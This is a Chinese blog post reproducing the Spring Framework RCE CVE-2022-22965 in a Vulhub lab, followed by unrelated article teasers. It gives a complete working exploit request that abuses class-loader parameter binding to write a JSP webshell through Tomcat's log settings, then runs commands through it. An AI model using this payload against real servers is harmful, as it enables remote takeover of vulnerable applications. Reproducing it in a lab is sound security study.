CVE漏洞复现-CVE-2022-22965-Spring-RCE漏洞

news/2024/7/24 11:29:00 标签: spring, java, 网络安全, 网络, 安全

CVE-2022-22965-Spring-RCE漏洞

漏洞概况与影响

Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

受影响范围:
Spring Framework < 5.3.18
Spring Framework < 5.2.20
JDK >= 9

不受影响的版本

Spring Framework = 5.3.18
Spring Framework = 5.3.20

JDK < 9

基本知识

关于Spring的参数绑定和多级参数绑定这里就不多讲了,大家可以自行百度

Property Descriptor

JDK中自带 Java Bean Property Descriptor ,自动调用类对象的get/set的方法

BeanWrapperlmpl

Spring 自带BeanWrapperlmpl,对Spring 容器中的管理对象,,自动调用get/set的方法

漏洞复现

本次复现采用Vulhub靶场环境,需要在本地搭建Vulhub靶场

进入靶场环境,使用以下命令启动环境:

docker-compose up -d

在这里插入图片描述

检测环境端口是否开放

docker-compose ps

在这里插入图片描述

根据VULHUB靶场提示操作,访问靶场服务器IP+端口:

http://192.168.0.112:8080/?name=Bob&age=25

在这里插入图片描述

抓包BP进入重放器模块发送以下请求以更改 Apache Tomcat 中的日志记录配置并将日志写入 JSP 文件:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.0.112:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

在这里插入图片描述

然后,访问刚才的 JSP webshell,并执行任意命令:

http://192.168.0.112:8080/tomcatwar.jsp?pwd=j&cmd=whoami

在这里插入图片描述


http://www.niftyadmin.cn/n/211247.html

相关文章

1mm³大小,世界首个功率破KW的单芯片激光模组诞生

近年来随着技术不断发展&#xff0c;激光雷达的体积、成本也在不断降低&#xff0c;成为了一种受到各行业关注的关键技术。它的用途越发广泛&#xff0c;可用于自动驾驶汽车、大气观测使用的LiDAR传感器&#xff0c;还可以用于医疗保健&#xff08;治疗和检查分析&#xff09;、…

PCL 非线性最小二乘法拟合圆柱

文章目录 一、简介二、实现代码三、实现效果参考资料一、简介 这里通过非线性最小二乘的方法来实现圆柱体的拟合,具体的计算过程如下所述: 图中, p p p为输入数据的点位置,求解的参数为柱体的轴向向量 a

【华为OD机试真题】日志采集系统(javapython)

日志采集系统 时间限制:1s空间限制:256MB限定语言:不限 题目描述: 日志采集是运维系统的的核心组件。日志是按行生成,每行记做一条,由采集系统分 批上报。 如果上报太频繁,会对服务端造成压力;如果上报太晚,会降低用户的体验;如果一 次上报的条数太多,会导致超时…

Vector - CAPL - CAN x 总线信息获取

在CAN&CANFD测试中&#xff0c;我们经常需要获取到CAN总线的负载、错误帧、过载帧、发送错误等等CAN总线上面的信息&#xff0c;这些信息如此重要&#xff0c;但是如果真的要写代码去实现也是相当不易的&#xff0c;那我们该如何去获取到的呢&#xff1f;下面我们就来一起看…

如何学习计算机视觉?

AI的专业领域知识是指AI与具体应用领域相结合时所需要的该应用领域的知识。AI的应用领域非常广泛&#xff0c;例如计算机视觉、智能交通、智能制造、智慧金融、智慧教育、智慧农业、智慧能源、智能通信、智能芯片等。本文主要介绍计算机视觉的基本概念、发展历程、主要研究内容…

【C++】哈希的应用 -- 位图

文章目录一、位图的引入二、位图的实现三、bitset四、位图的应用五、哈希切割一、位图的引入 我们通过一道面试题来引入位图&#xff1a; 给定40亿个不重复的无符号整数&#xff0c;且没排过序&#xff0c;现在给一个无符号整数&#xff0c;如何快速判断一个数是否在这40亿个数…

Oracle基础部分二(伪列/表、单个函数、空值处理、行列转换、分析函数、集合运算)

Oracle基础部分二&#xff08;伪列/表、单个函数、空值处理、行列转换、分析函数、集合运算&#xff09;1 伪列、伪表1.1 伪列1.2 伪表2 单个函数2.1 常用字符串函数2.1.1 length() 询指定字符的长度2.1.2 substr() 用于截取字符串2.1.3 concat() 用于字符串拼接2.2 常用数值函…

【AIGC】9、BLIP-2 | 使用 Q-Former 连接冻结的图像和语言模型 实现高效图文预训练

文章目录一、背景二、方法2.1 模型结构2.2 从 frozen image encoder 中自主学习 Vision-Language Representation2.3 使用 Frozen LLM 来自主学习 Vision-to-Language 生成2.4 Model pre-training三、效果四、局限性论文&#xff1a;BLIP-2: Bootstrapping Language-Image Pre-…